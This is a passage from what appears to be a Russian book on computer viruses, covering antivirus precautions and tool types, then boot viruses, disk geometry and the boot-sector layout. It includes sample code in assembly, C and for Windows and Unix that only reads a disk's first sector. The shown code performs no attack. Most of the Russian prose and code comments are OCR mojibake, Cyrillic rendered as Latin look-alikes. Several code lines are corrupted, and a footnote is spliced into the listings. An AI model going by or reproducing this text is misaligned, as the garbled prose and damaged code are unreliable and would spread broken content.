IPaBOOXPaHUTEbHBIE U cyeOHble opranbli? Y Hao6opoT — He CIUIIKOM
JIM JKECTOKO TIOCTyNaT oHu nopoit? IlesecoobpasHo in MPUMEHATH K
BUPYCOIMKCATENSAM-«O30PHUKAM» 3aKOHbI, PACCYMTAHHBIE HA BUPYCOIH-
caresieli-«raHrcTepoB», U HA060poT? YUTO KOHKPETHO Hajl0 CTABUThH aB-
TOpaM BUPYCOB B BUHY — TIONBITKY COYMHUTL IPUMUTUBHBIN BUPYC WIIN
KOHKPETHBIN yIiep6?

Cuietyer NpusHaTh: €IMHON TOUKHU 3PEHUS Ha ATy PoOIeMy He cylile-
crByet. Takoe MosioxKeHue J1eJ1 TOPOH TI03BOJISIET 3JI0/IEIM OCTaBaThCst He3-
HAKa3aHHBIMH, HO JIOCTABJISIET MACCY HEIPUATHOCTEH MUPHBIM <UCCIIE/0-
BaTEJISIM» U «KOJJIEKIIHOHEPAM» BUPYCOB.

O/HAaKO TyCTh COTVIACOBAHUEM TOYEK 3PEHUS 3aHUMAIOTCS OPUCTBI.
Hac sxe GyayT uHTEpecoBaTh TEXHUYECKUE M MATEMATHYECKUE ACTIEKThI
(heHoMeHa KOMITBIOTEPHBIX BUPYCOB.

1.7. Obwune ceBeaeHns o cnocobax 6opbLbbl
C KOMNbIOTEpHbIMXA BUPYCaMUn

On Mol pyKU X010010U U 20psueti 80001, 08YMs
COPMAMU MBLIA U CREUUATLLHOLL HCUPONOZIOUAI0 -
weti nacmoil, mep UxX MOUAIKOU U HECKOLbKUMU
WemoUKamu PasiudHol CMenenu HeecmroCcmi.

A.m B. Crpyrankue. «YIuTKa Ha CKIIOHE»

HecMmoTpst Ha TO YTO OIACHOCTH BUPYCOB BO MHOTHUX CJIYYasX SIBJISETCS
SIBHO TIPEYBETNYEHHOT, HECKOHTPOJIBHOE PACTIPOCTPAHEHUE «3aPa3bl» MO
KOMIIbIOTEPAM 1 CeTsIM HerrpuemsieMo. [Toatomy 6oJibiiioe 3HaueHue nme-
0T CIIOCOOBI U cpeicTBa GOPHOBI ¢ KOMITBIOTEPHBIMU BUPYCAMHU.

[Tpesk/ie Bcero HYKHO OOPATUTH BHUMAHKE HA HEOOXOIMMOCTE COBITIO-
JIeHUsI 9J1eMEeHTaPHBIX TIPABUJ TPODUIAKTHKY.

Bo-nepBbIX, 9T0 HEOOXOIMMOCTD Pe3eparoz0 Konuposanus Hanbosee
BR)KHOU U 1ieHHO nHopmanmny. Hukakue BUpychbl M TpOrpaMMHO-aIIa-
patHbie OO He CTPAIIHBI TOMY MOJIb30BATENIO, KTO PETYJISIPHO COXPaHsI-
eT Pe3yJIbTaThl CBOEH paboThl Ha CMEHHOM BUHYECTEPE, Ha JIEHTOUHBIX 1
JIFICKOBBIX HAKOTIMTEJISX WJIM IPOCTO HA JAMCKeTaX Min (JIsmIkax. JHaum-
TeJIbHAS YacTh (haiiyioB M060#T OMepPaIIOHHON CHCTEMBI TOXKE MOKET OBIThH
JIEFKO BOCCTaHOBJIeHa O€3 MeperHCTAIIISIINN, TPOCTBIM KONUPOBAHUEM
C «YUCTOTO» OPUTHHAJIA.
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Bo-BTOpPBIX, TO HUCIOJB30BaHKE CAMOTO OOBIKHOBEHHOIO 37[PaBOTrO
CMbICJIA TIPU TIOBCEJHEBHOI pabore ¢ KoMIbioTepoM. IIpaBui He 04YeHb
MHOTO, BCE OHU ITPOCTBI 1 JIETKO BBITOJHUMBI:

o

o

HUKOrIa He ocTap/isaiite rubkuil muck i CD/DVD B nuckoBoge
[P TIepe3arpyske KOMIbioTepa (ecju 310 He TpeOyercsi B CBSI3U
¢ Kakoi-HUOyAb HETPUBUAIBLHON Olepalnueil TUIIa YCTAaHOBKU HO-
BOI OITEePAIMOHHOI CUCTEMBI);

He 3aIlyCcKaliTe IPOrpaMMbl U He 3arpysKaiiTe T0KyMEHTbI 3aBEZIOMO
MOJIO3PUTEJILHOTO TIPOUCXOXKIeHNd (B3gaThle u3 MHTepHeta, ¢ 11-
PATCKUX KOMIAKT-IMCKOB U TIPOYHeE);

He TIocelaiTe MHTePHET-PeCypehbl ¢ 3aBEIOMO COMHUTEJBLHBIM CO-
AEPAKUMBIM (TOPHOCANTHI, XPAHUIIUIIA «OECTIIATHBIX> MY3bIKAIb-
HBIX ¥ BUIe0(hAiIOB, KOJIEKIMN CEPUIHBIX HOMEPOB JJIsI BOPO-
BaHHBIX IIPOTPAMM H T. 11.);

HEe OTKPBIBAMTE TOA03PUTETHHBIX MOYTOBBIX BJIOKEHUN (HAIPH-
Mep, (aiizioB, ube paclIpeHrie He COBIA/AET C PeaJIbHbIM TUIIOM ),
naske ecan ouy npuiin o E-mail ot 3HakoMoro vesioBexa;
orpaHuyuuBaiite GECKOHTPOJIBHBII JOCTYII K BallleMy KOMIIbIOTEPY
JIVIL, CIOCOOHBIX 3aHECTH Ty/IA «3apa3y» CO CBOMX HOCUTEJEH, U T. .

Kpowme toro:

o

o

ycraHoBuTe B 1oJioskenue «3anuch B Flash-BIOS zanpemnienas me-
PEMBIYKN Ha MATEPUHCKOM IJIaTe KOMITbIOTEPa;

yCTaHOBUTE aTPUOYTHI 3alUTHI OT 3AIUCKH Ha HauboJee BasKHbIX
(baitimax orepalMoHHOM CUCTEMbl U TPUKJIAIHBIX [IPOrPaMM, Ha-
npumep Ha paitie NORMAL.DOT, pacniosioxkeHHOM B KaTajore
mabJI0HOB TEKCTOBOrO mpoueccopa MS Word;

YCTaHOBUTE B MOJIOKEHUE «BKJIIOYEHO»> (QIIAKKU PEKUMa 3aIUTHI
OT UCIIONHEeHusT Makpocos B MS Word;

nepeBenTe B MOJOKEHNE «3AIUCh 3alipeliieHas IMTOPKU 1 HakJIek-
KM 3al[UTBI OT 3aMIMCHU HA IUCKeTax, pelHa3HaYeHHbIX JIJIT XpaHe-
HUST PEIKO OOHOBJIsIEMO nH(MOPMAITHI;

BKJIIOUNTE peskuM «Virus protections» B BIOS Setup, npemyrpex-
JIATOTIUI TTOJIb30BATEJIS O TMOIBITKAX 3aucu MHhOPMaluu B CHU-
cTeMHbIe 00JIACTU BUHYECTEPA;

3alpeTUTe aBTO3aIyCK IIPOrpaMM cO CheMHbIX Hocurteseir — CD-
JMCKOB U <«(dJaiier», 3TO MOXHO cfieJiaTh BpyuHyio B Peectpe,
JII00 MPOMHCTAIINPOBAB CIIEIUATBHYIO «3aILJIATKY>;

€CJIM KOMIIBIOTEp MOAKIIOYEH K CETH, BKJIIOUYUTE «GpaHaMaysp»
(«aiipBoJur» ), TO €CThb MPOTpaMMY, OrPAHUYNBAIOIILY IO KAK BXO/IsI-
HIYIO, TAK U UCXOJAIILYIO CETEBYIO aKTUBHOCTH KOMITBIOTEPA;
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Q ecam KOMIBIOTED MOJAKIIOYEH K CETH, TO HE OCTABJSANTE HA HEM
0011e10CTYIHBIX («pacliapeHHbIX» ) PECYPCOB, B KpailHeM cJydae
MCIOJIb3YHTE B TOM KAaueCTBe TOJIbKO OT/Ie/IbHbIE KaTaIOT!;

QO wme paboraiiTe B OIEpalMOHHBIX cHCTeMax Kiaacca Windows
NT/2000/XP/Vista/7 oT UMeHU TIOJB30BATEJS € IPUBUJIECTUIMUI
«Anvunnctpatopay, a B UNIX-11006HbBIX OllepaliOHHbIX CUCTE-
Max C IPUBUJIETUSMU <rO0t»’a.

AT METO/IbI 00IIEr0 HA3HAUEHUSI HE JIAI0T CTOMPOIIEHTHOW rapaHTHH,
HO MO3BOJISAIOT CYNIECTBEHHO CHU3UTH PUCK 3apasKeHUs KOMITBIOTEPHBIM
BUPYCOM.

Onucanubie BbIIE TTOAXOABI HE OTMEHSIOT HEOOXOAMMOCTH UCIOJIb-
30BaHU CIIENUATN3UPOBAHHBIX AHTUBUPYCHBIX CPEJICTB — AaHTUBUPYCOB.
[To mpuHIMITY fefiCTBUSA aHTUBUPYCHI I€JATCA HAa HECKOJIBKO IPYTIIL

Hawubosiee U3BECTHBI U TIOMYJISIPHBI TAK HA3bIBAEMbIE AaHTUBUPY ChI-CKA-
Hepbl — TIPOTPAMMBI, TIPETHASHAYECHHBIMU JIJIsT OOHAPYKEHUST BUPYCOB B
naMaTu, BHyTpH (daillnos u caysxkeOHBIX obaacTell HocuTesel nndopma-
. Onu 00bIYHO PaboTaIoT B «CUMOMO3e» ¢ aHTUBUPYCAMU-pazamu —
porpaMMaM#, MpeHa3HAYeHHbIMU /IS YaJleHUsI M3BECTHBIX BUPYCOB
U3 3aPaKEHHBIX 00BEKTOB. TaKue <«KOMILIEKCHDBIE» AHTHUBUPYCHI HA3bI-
BAIOTCS cKanepamu-gazamu (ecav npeHasHadeHbl st G0pbObI € OHUM
BUPYCOM) WM CKauepamu-noiupazamu (eciu pacCcduTaHbl Ha GOpbOy
€O MHOKECTBOM pasJinyHbIX BUpPYcoB). IIpumep ckanepa-dara: yruanra
KidoKiller (2009 r.), npeguasnadennas a1 oOHApYKeHUs U yIaNeHUsT
yepsst Kido (on ke Conficker). ITpumeps ckanepa-nosudara: aHTHUBH-
pycuas nporpamma AidsTest [I. H. Jlosunckoro (1989-1997 rr.) u co-
Bpemennas yrunuta CurelT U. /lannioa. Ho BO3MOXKHbBI 1 CKaHEPHDI,
KOTOpble He sABJjgioTcd daramu, U daru, He SBJSIONMECST CKaHEePAMU.
Harmpumep, panHue Bepcuu aHTUBUPYCHOTO T1akeTa o1 McAfee cocrosiiu
U3 IByX He3aBUCUMbBIX KoMioHeHTos: 1) mporpamma SCAN tosibko oOHa-
pyskuBajsia Bupycol B daiinax; 2) nporpamma CLEAN Bbimnosinsiia suiib
olieparuio yJajJeHus yKasaHHoro Bupyca us daiiia.

AddexTuBHO TaKKe paboTAIOT AHTUBUPYCHBIE utcnexmopwvt (au duc-
nemuepov) — MPOrPaMMbI, COOMPAIOTIHE CBECHUS O TEKYIIEM MTPOrPaMM-
HO-aIMapaTHOM COCTOSTHUY KOMIIBIOTEPA U PETYJISPHO CHEISANIIE 32 BCEMU
U3MEHEHUSIMU. DTO MO3BOJISIET OOHAPYKUBATH BCE UCKAKEHUSI TPOTPAMM-
HOU cpejibl 1 (paiiyIoBOI CUCTEMBI BHE 3aBUCUMOCTH OT TOTO, KEM WJTH YEM
oun 6bumn npoussenensl. [Ipumep: antusupyc AdInf /[. 0. Mocrosoro
u B. C. Jlagpiruna.

OrpomMHyIo 1oJib3y MPUHOCAT TaK HA3bIBAEMbIE MOHUMOPbL, KOTOPBIE
B PE3UJIEHTHOM PEKUME TIOCTOSTHHO OTCJIEKUBAIOT U OJIOKUPYIOT BCE BU-
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pycomoo6HbIe IeWCTBUS TPOTPAMM 1 JIIOOBIE OTIEPATIUY C 3aPasKEeHHBIMU
obbekTaMu (HAIpUMep, KOIMUPOBAaHUE JOKYMEHTOB, 3aIlyCK MPOrpaMM
U T. 1.). Pa3HOBUIHOCTBIO MOHUTOPOB MOXKHO CUUTATh (atipsoiivl (OHN
Ke Gpanomayapul) — pearieHTHBIE OJOKUPOBIINKN HECAHKITMOHUPOBAH-
HOTO CeTeBOro oOMeHa.

Tak:ke K aHTUBUPYCAM MOKHO OTHECTH 8AKUUHAMOPLL — TIPOTPAMMBI,
BUIOU3MEHSIIOIIIE TIPOrPAMMHO-AIIIAPATHYIO CPELy TAKUM 00Pa3oM, u4To
BUPYC He MOKeT paboTaTh.

BOJIbIIMHCTBO COBPEMEHHBIX AHTUBUPYCHBIX MTPOJYKTOB COBMEIIAIOT
B cebe pasmmynble (HYHKIUN.



NABA 2

00 0000000000000 000000000000000O0C0O0COCGOCGOGSOSOSOINS

3arpy304Hbie BUpPYChblI

B cucremMHbBIX 00JaCTSIX JUCKOBBIX YCTPOWCTB — BUHYECTEPOB W JIHC-
KeT — TPUCYTCTBYIOT CIIEIUATbHbBIE TIPOTPAMMHbIE KOMIIOHEHTBI, obecrie-
YIBAIONINE HAYAJIBHYIO 3arpy3Ky OIepPallMOHHbIX cucTeM. BpemoHocHble
IPOTPAMMBbI, 3apa’kaiollue 9TU MPOrPAMMHBIE KOMIIOHEHTBI, U3BECTHBI
¢ 1986 r. — oHM Ha3BIBAIOTCS 3azPY30uibIMU UIN boot-eupycamu. DTOT THIT
KOMITBIOTEDHOI <«3apa3bl» JOCTABJISJ HEMAJIO XJIOMOT IT0JIb30BATEJISIM
1980—-1990-x To/10B, HO B HOBOM BeKe, Ka3aJ0Ch, ObLJI «<OKOHYATEJIBHO T10-
GeskieH» 1 «BbiMeps. OIHAKO B TIOC/IE[HUE TO/BI TIOSIBUIIUCH OUEHb CJIOK-
Hbl€ 1 OTIACHBIE BPEIIOHOCHBIE TIPOrPAMMBI, UCIIOJIb3YIONINE B TOYHOCTU
Te JKe TEXHOIOTUH, — «Oymxumbl». VI, Cy/ist 110 BeeMy, UX UCTOPUST TOJIBKO
HAYMHAETCSI.

2.1. TexHn4yeckasn nHpopmaums

...Bcezo-mo 6 neii dsa meonvix ducka c uaiinoe
6modue... Hem, pebsma, msiceno smy wmy-
KY ONUCAMDb, eCU KIMO He 6UOEIL, OUelb YIC OHA
npocma na 6uo...

A. u B. Crpyraukue. «ITukHuk Ha 060unHe»

[l moHMMaHWs MPUHIUTIOB (DYHKIIMOHUPOBAHUS 3aTrPY30UHbIX BUPYCOB
HEOOX0AUMO Pa3obparhest B yCTPOUCTBE IMCKOBBIX HOCUTENEH U B TOM,
KakuM 06pa3oM Mocjie BKIIOUYEHUsST KOMITbIOTEPA TIPOUCXO/IAT 3arPy3Ka U
3aITyCK OMEPAIIMOHHBIX CUCTEM.

Bce nuckoBbie ycTpoiicTBa UMEIOT eIHHYIO «reoMeTpuios . Ouennb rpy-
60 ¥ YIPOIIEHHO MUCKOBOE YCTPOMCTBO MOKHO MPEACTABUTDH B BUJIE TIa-
KeTa KPYIJIbIX MJIACTHH, HACAKEHHBIX Ha 0011yt och (cm. puc. 2.1). Ha
TTOBEPXHOCTD TJIACTUH HAHECEH MAaTHUTHBIN CJI0H, KOTOPDIN XpaHUT WH-

! 3necw ne pacemarpuBaiorest CD/DVD win «duiaiikus. 3apakeHnne 11X BO3MOK-
HO, HO Ha TIPAKTHKE HE BCTPEYAETCS.
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Puc. 2.1 < Jlornyeckas opraHmsaums
LMNCKOBOI0O YCTPOMCTBA

copMmarriio, 3aIMCHIBAEMYTO FJI CYMTHIBAEMYIO ITPH TTOMOIIN MATHUTHBIX
TOJIOBOK, KOJIMYECTBO KOTOPBIX PABHO KOJIUYECTBY PAabOYMX MOBEPXHO-
creit. Ha BuH4YecTepax, Kak IPaBuio, MPUCYTCTBYIOT HECKOIBKO PabOUMX
MIOBEPXHOCTEM, a Ha INCKETAX TOJIBKO JIBE: HyJIeBas U IepBasl.

YdacTKu [UCKOBOI TIOBEPXHOCTH, NMpeIHA3HAYEHHBIE /JIST XPaHEHUs
urbopmarmu, o6pasyioT PsAl KOHIEHTPHYECKUX OKPYKHOCTEH — dopo-
acex (mpexog). Camast GIMKHSS K BHENTHEMY KPAIO [ICKA TOPOKKA UMeeT
HoMep 0, carexrytoriast — Homep 1 1 T. 1. Ha uckeTax KoJim4ecTBO 0POKEK
6biBaer 40 nim 80, Ha BUHYECTEPAX TUIIMYHOE KOJUUYECTBO — HECKOJIBKO
coteH uin ThICsTY. COBOKYITHOCTh BCEX /IOPOKEK, PABHOY/ATEHHBIX OT
OCH U PACIOJIOKEHHBIX Ha BCEX PabOuMX MOBEPXHOCTSX, HOCUT Ha3Ba-
Hvie yuaundpa. Kaxkaas MarHuTHast TOposkKa pa3buTa Ha PsIJl CeKmopos,
HYMepYyeMBbIX OT 1 U 10 MAaKCUMaJIbHOTO 3HAYEHUSI, KOTOPOE [IJIsI [IFICKET
cocrasiistet 9, 15 wim 18, a 17151 BUHYECTEPOB AOCTUTAET HHOTA HECKOJIb-
KuX coreH. Ilo yMoJyaHWMIO B CEKTOP CTAHAAPTHOTO pa3Mepa BO3MOKHO
sanucath 512 GaiiT uHGOpMaIKH.

JI1000i1 CeKTOP MOKHO OJHO3HAYHO UAEHTU(DUIMPOBATH, 3a1aB TPO-
Ky {IMJInH/Ap, TOJOBKA, cekTop}). Hampumep, cambril iepBbIil ceKTOp Ha
JIFICKOBOM YCTPOICTBE, B KOTOPOM PACITIOJIATaeTCsT KPOXOTHAST IPOTPaMMa
HavyaIbHOM 3arpy3ku, nuMmeet koopaunate {0,0,1}; mepBsiii cekTOp BTOPOI
o cuety rosioBku {1,0,1}; mepBbIii CEKTOP BTOPOTO O CYETY IUJIUH/PA
{0,1,1} u . n. Takoil croco® HyMepoBaHUS CEKTOPOB XapaKTepeH JIsd
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CHS-adpecayuu (ot auri. cylinder — numannp, head — ronoBKa 4reHus-
3aIUCH, Sector — CEKTOP).

CyitiectByeT 1 IpyTroii crnocob ajipecaliut KOHKPETHOTO ceKTopa. Mosk-
HO TIPHCBOUTH CTAPTOBOMY CEKTOPY JiricKa Homep 0, ciieytomeMy 3a HuM 1,
motoM 2 u T. . Takast «abCoMoTHAST> a/[pecarusti CEKTOPOB HOCUT HAUMEHO-
panne LBA (ot anri. Logical Block Address — Jlornueckuii anpec 6J10Ka).
®opmyna nepecuera 3 CHS B LBA BBINISIANT cleAyIommM 00pasoM:

Ny =N Njc+Nh+s-1,

rie N, — abcomoTHbIi HOMep cexTopa (HaunHast ¢ 0); N, — KOJTU9IecTBO
CEKTOPOB Ha JIOPOKKe; N, — KOITUYECTBO TOJMOBOK (Pabodynx MOBEPXHO-
creil); ¢, h 1 s — HOMep JJOPOKKM, HOMEP TOJIOBKM U HOMED CEKTOpa Ha
nopoxke coorsercTBenHo. imenno LBA ncnosb3yercs Ha COBpeMEeHHbIX
BUHYECTEPax OOJIBIIOT0 00beMa, HO B 3TI0XY PacIiBETa 3arPy30UHbBIX BUPY-
COB TIOYTH BCET/Ia TPUMEHSIIACHh «TPOUYHAST» CUCTEMA a/[PecaIiiu.

Pabota ¢ AUCKOBBIM YCTPOUCTBOM Yepe3 KOHTPOJLIEDP MUCKOBOAA WK
BUHYecTepa /10BoJibHO cyoxkHa. [ToaTomy B ROM BIOS kaxkmoro PC-
COBMECTUMOT'0 KOMITBIOTEPa 3alllCaHbl CTaHIapPTHBIE TIPOIEAYPhI, 0bec-
MEeYNBATOTINE TOCTYTI K TUCKOBBIM yYCTPOMCTBAM. BOJBIIMHCTBO CTapbhIxX
CUCTEMHBIX U TIPUKJIAHBIX TIPOTPAMM, B TOM YHCJie U HEKOTOPbIE oTiepa-
1uoHHbIe cucteMbl (Harpumep, MS-DOS), mosbaytores mpu oGparieHun
K ckam umeHHo mporierypamu BIOS. CoBpemenHbie ske oneparinoHHble
cucrembl (Windows, kimorbr UNIX u 1. 11.) obpamiatorest K BIOS nckiito-
YUTEJBHO PEJIKO, TPEANoUnTas paboTaTh ¢ KOHTPOJJIEPOM YCTPOICTBA Ha-
npsimyto. TeM He MeHee HauasibHast 3aTPy3Ka JIFOOBIX OMEPAIIMOHHBIX CH-
CTEM /IO CUX ITOP BO3MOKHA TOJBKO CPEJICTBAMY CTAHIAPTHBIX TIPOTIEYDP
BIOS, u nukax nnaue!.

Hoctym x nuckoBbiM miporierypam BIOS Bo3moskeH uepes mporpaMm-
Hoe nipepbiBatue 13h. Takske a11 potteaypsl (B TOU YacTH, KOTOpas Kaca-
ercst paboThI ¢ AMCKETAMM ) UMEIOT €Il OHY TOUKY BXOJIa — YepPe3 IPepbi-
sanue 40h. Murepecto, uro o6paborunk npepbisanus 40h pacrnonaraercs
B ROM BIOS npakruuecku Beerga mo aapecy FOOOh:EC59h. ITpusenem
MPUMeEPbl YTEHUS] ¢ BUHYECTEPA COAEPKMMOTO 3arpy304HOrO CEKTOPa
c agpecom {0,0,1} ¢ mcosb30BaHMEM 3TO TIPOTIELY PHI.

BapuanT Ha sisbike Accembiepa B MS-DOS:

mov ah, 2 ; Komawpa "Hutatb cexkTop”
mov al, 1 ; Konm4ecTBO 4MTaeMbix CeKTOpPOB PaBHO 1

U Tlmanupyercs, 9To MepcreKTUBHbIE apXUTEKTYPbI Ha 6ase crienudukanuun EF1/
UEFT o6oiixyTces 6e3 BIOS.
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mov ch, 0 ; Homep umnuHppa paseH 0; cTapuue OuTbl 4ucna
; MOryT pa3mewatbcs B Cl
mov cl, 1 ; Homep 4uTaemoro cextopa paeH 1
mov dh, 0 ; Homep ronosku paseH 0
mov dl, 80h ; 80h - kop BuHuecTepa, 0 u 1 - auckeT A: n B:
mov es, SEG Buffer . CermeHT Oyodepa [AaHHbIX
mov bx, OFFSET Buffer ; CmeueHne Oydepa paHHbIX
int 13h ; COBCTBEHHO BbLINMOMHEHNWE OMNepauun YTeHus

Bapuanr na a3bsixke Cu 8 MS-DOS:

cmd = 2; // Komanpa "“YuTaTb cekTop”

nsecs=1; // Konn4ecTBo 4uTaeMbx CEKTOPOB pasHO 1
track=0; // Homep umnmnHapa paseH 0

sector=1; // Homep u4uTaemoro cekrtopa paseH 1

head = 0; // Homep ronosku paseH 0

drive = 0x80; // 80h - kop nepsoro BuH4YecTepa; komab 0 w1

// COOTBETCTBYWT AuckosodaMm A: u B:
result=biosdisk(cmd, drive,head, track, sector,nsecs,buf);

Bo3MOKHO 9TO ¥ B IPYTUX OTEPAIMOHHBIX cucTeMax. BOT Kak MOKHO
MIPOYUTATh CEKTOP AUCKOBOTO ycTpoiicTBa B Windows 9X:

#define WIN32_DIOC_DOS_INT13 4
typedef struct DIOCRegs {

DWORD  reg_EBX;

DWORD reg_EDX;

DWORD reg_ECX;

DWORD  reg_EAX;

DWORD reg_EDT;

DWORD  reg_ESI;

DWORD  reg_Flags;
} DIOC_REGISTERS, +PDIOC_REGISTERS;

DIOC_REGISTERS r;

HANDLE h = CreateFile("\\\\.\\wwin32", 0, 0,
NULL, O, FILE_FLAG_DELETE_ON_CLOSE, NULL);
.reg_EAX=0x201;
.reg_EBX=(DWORD) &Buf;
.reg_ECX=0x0001;
.reg_EDX=0;
DeviceIoControl(h, WIN32_DIOC_DOS_INT13, &r,
sizeof(r), &r, sizeof(r), &n, 0);

= 5

Boamozxno ato 1 B Windows-cemeiictBax NT:

BYTE mbr[512]; DWORD dwRead;
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HANDLE hDisk = CreateFile("\\\\.\\PhysicalDrive0", GENERIC_READ,
FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL):
ReadFile(hDisk, &mbr, 512, &dwRead, NULL);

A Bot mpumep it Unix-mogloOHBIX OTIEPAIIHOHHBIX CHCTEM:

int f; unsigned char buf[512];
f=open("/dev/hda™, O_RDONLY);
read(f, buf, 512);

Cpasy rocJie BKJIIOUYEHUS TUTAHUS KOMIIBIOTEPA ITPOUCXOUT alapar-
HBII cOPOC BCEX YCTPOMCTB, 4 CYETUMK KOMAH/[ yCTAHABIMBAECTCS Ha Ha-
yajio kozia iporpammbl POST, koTopad pasmeniaercs B 3alpeleHHOM [T
3aIUCU PETHOHE aJipecHOro mpocTpancTBa BMecTe ¢ BIOS. 9Ta nporpamma
TecTUpyeT 060pyAOBaHUE, TPOU3BOUT, €CIIU HYKHO, €r0 TIPOrPAMMHYIO
WHUIMAJIN3AIINIO, a BCJIE 32 9TUM HAYMHAET UCKATh aKTUBHOE JIMCKOBOE
YCTPOICTBO, C KOTOPOTO BO3MOKHA 3arpy3Ka, — BUHYECTEP UJIH JUCKETY.

B BecbMma pesikoM cirydae, KOTa HU OIHOTO MOAXOSANIEr0 YCTPOHCTBA
He HaiijieHo, «joucropudeckue» IBM PC zarpyskanu xaccernyio (pac-
nosioxkennyio B [13Y) Bepcuto unrepnperaropa sisbika BASIC, urpas-
HIYIO POJIb BCTPOEHHOU OllepaliioHHON cucTeMbl. Bosiee mosaame mepco-
HaJIKU B 3TOM caydae rpocto usBemanu: «NO ROM BASIC, SYSTEM
HALTED». Coo01ienusl, BblJaBaeMble 3aTPy304HbIM OJIOKOM COBPEMEH-
HBIX KOMIIBIOTEPOB, MOTYT ObITh PA3IMYHBIMH.

B coBpemennbix Bepcusax nporpamMmMbl SETUP ectb omtust, HHCTPYK-
tupyiomias nporpammy POST HaunHATD MOMCK MOTEHIIUAIBHOTO HOCUTE-
JIST OTIEPAIMOHHON CUCTEMBI JINGO ¢ IUCKEThI, TGO ¢ BUHUECTEPA, JTHO0
BOOOIEe UTHOPUPOBaTh Kakue-mubo ycrpoiictsa. Ho B mobom ciydae
nporpamma POST crapaetcst 106parbest 10 KaKoro-HuOyb TMCKOBOTO
ycTpolicTBa, mpounTaTh cektop {0,0,1}, 3arpysuts ero conepsxkumoe B O3Y
10 KecTKo dukcuposannomy agpecy 0:7C00h u nmepegarh Tyaa ymnpasJie-
uue. C atoro momenta BIOS komiibiotepa cHuMaeT ¢ cebst BCSIKYI0 OTBET-
CTBEHHOCTD 3a XO7I IIPOIlecca 3arpy3KH.

B saBucuMocTH OT TOTO, C IUCKETHI WU ¢ BUHYECTEPA TTPOU3BOJAUTCS
3arpysKa, cojiepskumoe cekropa c agapecom {0,0,1} paznmano. Paznmuane n
CIIEHApUU TIPoIlecca 3arpy3Ku OlepalliOHHON CUCTEMBI.

2.1.1. 3arpyska ¢ guckeTbl

[penmnonosxkum, uto nporpamma POST nHamma B kapmaHe AMCKoBOAA A:
KaKyIo-TO fuckety. B atom caryuae, mpountas cektop {0,0,1}, ona sarpysur
B TaMsITh TaK HasbiBaeMbiil boot-cextop. ComepKkuMoe ero MoXKeT ObITh
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PABJINYHBIM JIJIST IUCKET, OT(OPMATUPOBAHHBIX TIPU ITOMOIIIH PAa3HBIX ITPO-
rpaMym, Takux kak MS Format, FFormat A. Illamapokosa, Central Point
PC Toools u ipoune. Ho o6mas crpykrypa boot-cekropa (cMm. puc. 2.2a)
7 QYHKIIMH COMIEPIKAIIENCST B HEM ITPOrPAaMMbI-3arpy3unKa CTaHIaPTU30-
BaHBI:

org 0

Start:

jmp short Begin

nop
; Tabnuua napameTpoB AUCKETSI
OEM_ID db 8 dup (?) ; ID dopmaTupylUei nporpaMMmbl
SecSiz dw ? ; Pasmep cekTopa B OaiTax
CluSiz db ? ; Pasmep knacTepa B cekTopax
ResSec dw ? ; 4Ynucno 3apesepBrpoBaHHbIX CEKTOPOB
FATs db ? . Yueno FAT Ha pawucke
ROOTSiz dw ? ; Pasmep KOpHEBOro KaTtanora
Nsecs dw ? i TloNHoe 4MCno CeKTopoB
MediaDsc db db ? ; banTosbit ID onucaHns HocuTens:

0FOh - pguckeTa 1.44 M6; OF8h -
; KecTKUW AMCK M npodee

FATSiz dw ? ; Pasmep kaxgoro FAT B cekTopax
; flona, wcnonb3yembie MS-DOS Bepcwit cTapwe 3.0
TrkSiz dw ? ; 4YMCNo CeKTOpPOB Ha [0poXKe
Nheads dw ? ; Yncno ronosok
; Mlona, wcnonb3yembie MS-DOS Bepcuit cTapwe 4.0
HidSecs dd ? ; 4YMCNO CKpbLITBIX CEKTOPOB
VolSiz dd ? ;. TloNHoe 4MCno CeKTopoB
DrivNum db ? ; Homep ¢ou3myeckoro ycTp-Ba
Reserved db ? ;
ExtSig db 29h ; lpysHak pacwuMpeHHoro 3arpysynka
VolSerNum dd ? ; CepuiHblii Homep ToMa
VollLabel db 11 dup (?) . MeTka ToMma
FSysID db 8 dup (?) ; CTpoka - Tun 0ainoBoit CUCTEMD
; Havano nporpammbl 3arpy3ku onepaumoHHON CUCTEMbI
Begin:

cli

XOr ax, ax

; TekcT coobweHus, BblAAWerocs npu HEBO3MOXHOCTW 3arpy3ku
; ONEepauyoHHOR CUCTEMbI

Messag db "Non-System disk or disk error', 13,10
Db "Replace and press any key when ready’,0
; WmveHa ¢annoB, B KOTOPbIX XPaHUTCA AAPO ONepauyroHHON CUCTEMb
Name1 db 10 SYS”
Name?2 db 'MS-DOS  SYS',0,0
barToBas curHaTypa 3arpyso4HOro cekrtopa
org 1FEh

Sign dw 0AA55h
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JVP |

Tabnuua napameTpoe
aucka

Mporpammueli Koo
3arpyaku

MporpamMmHbIi koA
3arpyaku

JVP |

Tabnuua napameTpoB
avcka

[MporpammHeIi ko
3arpyaku u
WHMUUMPOBAHWA

Tabnuua pasgenos
AWCKa AA55

Tabnuua pazpgenoe

avcka m

a

6

B

Puc. 2.2 « Pa3nnyHble BapraHTbl COAEPXUMOr0O CEKTOpa C aAPECOM
{0,0,1}: a) Boot-cekTop onepaunoHHOM CUCTEMBI (HA OUCKETE);
6) MBR - rnaBHas 3arpy3o4Has 3anuch (Ha BUHYECTEPE);
B) TUNUYHOE COAEPXNMOE 3aPAXEHHOIO CEKTOPA

ITepBbie Tpu GaiiTa ceKTOpa 3ape3epBUPOBAHbI [10]] KOMAH/LY WJIK IPYII-
Iy KOMaH/[l, CJIy>KalluX JJIs Tlepe/ladn yIpaBieHns Ha OCHOBHON KO/ 3a-
rpy34yuKa.

[asiee pacrosiaraercst TabuIa MApaMeTPOB TUCKETBI, KOTOPast Heob-
X0[MMa, 4TOObI cTaHgapTHbIe Tpoieaypbl BIOS cymesnn HacTpouThCs Ha
KOHKPETHbIE XapaKTEPUCTUKU HOCUTENST mpu obpaiennn Kk Hemy. Ona
MMeeT Pa3HbIll pa3Mep B 3aBUCUMOCTH OT TOTO, KAKO ITPOrPaMMOIi 1 B Ka-
KOIi BepCUU OTIEPAITMOHHOM CHCTEMBI IPOU3BOIUIIOCH (POPMATHUPOBAHUE.
Ho mta toro, 4ToObl JUCKeTa OCTaBAIACh «4UTaOeIbHONY», HEOOXOAMMO
[IPEAYCMOTPETDh HAJIMUKeE B TAOJIHUIE TI0 KpaiiHell Mepe MPaBUIbHO 3a10J1-
HEHHBIX 110Jieil BILIOTh 10 «FATSiz».

Cpasy nocJie TabJIHIIbl TTAPaMeTPOB AUCKEThI PACTIOJIATAETCS TPOTPAMM-
